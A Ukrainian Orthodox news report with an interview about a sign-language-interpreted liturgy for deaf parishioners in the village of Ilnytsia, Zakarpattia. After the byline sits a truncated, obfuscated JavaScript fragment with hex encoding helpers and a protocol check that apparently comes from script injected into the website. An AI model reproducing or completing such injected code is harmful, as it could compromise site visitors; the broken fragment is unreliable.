У понеділок, 16 листопада, з благословення Високопреосвященнішого Феодора, архієпископа Мукачівського і Ужгородського, у Свято-Покровському храмі с.Ільниці Іршавського району була відслужена Божественна Літургія із сурдоперекладом на жестову мову.
Літургію звершив священнослужитель Свято-Покровського храму протоієрей Феодор Лях, а переклад здійснював семінарист Київської духовної семінарії, викладач жестової мови в недільній школі «Чути серцем», що при «Галереї Соборній» у Києві, Тарас Шелельо.
За ранковим богослужінням молилися люди із вадами слуху, які мешкають у селі Ільниця. Усі вони були дуже вдячні за можливість не тільки побачити хід Божої служби, а й почути її. Відтак висловлюють щиру вдячність правлячому архієрею, владиці Феодору, священикам Свято-Покровського храму та сурдоперекладачу, і сподіваються, що подібні богослужіння проводитимуться якомога частіше.
[youtube https://youtu.be/PbCUNcjZ52c]
Аби дізнатися про поки що рідковживану у нашому краї техніку сурдоперекладу богослужінь, ми вирішили поспілкуватись із сурдоперекладачем, семінаристом Київської духовної семінарії Тарасом Шелельо, який сам родом зі села Ільниці.
– Тарасе, ви захоплюєтесь сурдоперекладом богослужінь. Як дізналися про цю техніку і, власне, як проходило її опанування?
– До навчання у семінарії я навіть не думав, що буду займатись з людьми із вадами слуху. Жестову мову почав вивчати у 2-му класі семінарії. Ми мали спеціальний предмет, який так і називався «Основи жестової мови», після чого і почалось моє навчання цій техніці.
Вивчаючи жестову мову, мені було дійсно цікаво, а коли ми із класом відвідали богослужіння із сурдоперекладом та поспілкувались із людьми, які мали вади слуху, я зрозумів, що цій справі хотів би присвятити усе своє життя. Учителька жестової мови, Анна Андріївна Блощинська, допомогла мені у цьому. А засвоював тактику із своїм другом і одногрупником Іваном Дарудою – ми спілкувались на жестовій мові. Я зрозумів, що потрібно один раз побачити якийсь жест, а далі його запам’ятати. Так і почав засвоювати цю мову.
Одного разу, Анна Андріївна, запросила мене допомогти їй перекласти Літургію в Іонинському монастирі, що у м. Києві. Я затоваришував із глухими людьми, так і почав перекладати богослужіння.
– Наразі сурдопереклад Літургій на Закарпатті через брак відповідних фахівців, можна сказати, зовсім не проводиться. Чи можливі певні зміни у цьому напрямку?
– Звісно, що Богослужіння із сурдоперекладом для Закарпаття є нововведенням. Але я знаю багато областей України, де була подібна ситуація, однак наразі там діють релігійні громади, які займаються питаннями людей із вадами слуху. Зокрема, проводяться богослужіння із сурдоперекладом, та, головне, що в общинах несуть свій послух священики, які сповідують людей з поганим слухом використовуючи жестову мову. Люди попри проблеми зі здоров’ям мають можливість причащатись Святих Тіла і Крові Господа нашого Іісуса Христа.
Я впевнений, що через деякий час і на Закарпатті відкриється така громада, і люди зі слабким слухом зможуть кожного тижня брати живу участь у богослужінні. Нещодавно я спілкувався із нашим дорогим владикою, Високопреосвященнішим Феодором, архієпископом Мукачівським і Ужгородським, який порадував і втішив мене своїми люблячими пастирськими словами щодо богослужінь із сурдоперекладом у нашій єпархії. Владика благословив моє прохання і я дуже йому вдячний за це.
– Чи готові ви особисто навчати, ділитись набутими знаннями, аби в Мукачівській православній єпархії побільшало священиків з профілем сурдоперекладачів?
– Звичайно. Я хотів би, щоб і в нашій єпархії було багато священиків, які володіють жестовою мовою. Адже Господь посилаючи апостолів на проповідь, сказав проповідувати усім народам, так само і священик, має проводити свою пастирську діяльність для всіх людей без виключення. Тож, якщо знайдуться священнослужителі, які виявлять бажання вивчати жестову мову, я допоможу їм в цьому не легкому служінні.
– Покладаєтесь на Божу допомогу у цій справі?
– Так! Без допомоги Господа я нічого не зміг би і не зможу зробити. А з Божою підтримкою, я знаю, що і на Закарпатті буде община для людей із вадами слуху, які незважаючи на свої проблеми, зможуть почуватись повноцінними людьми і відчувати повноту благодаті Божої в Євхаристії, яка так потрібна для спасіння усіх людей.
– Щиро вдячна за розмову і бажаю наполегливих трудів на славу Божу!
Ольга ПАЛОШ, спеціально для m-church.org.ua
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “m-church.org.ua”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e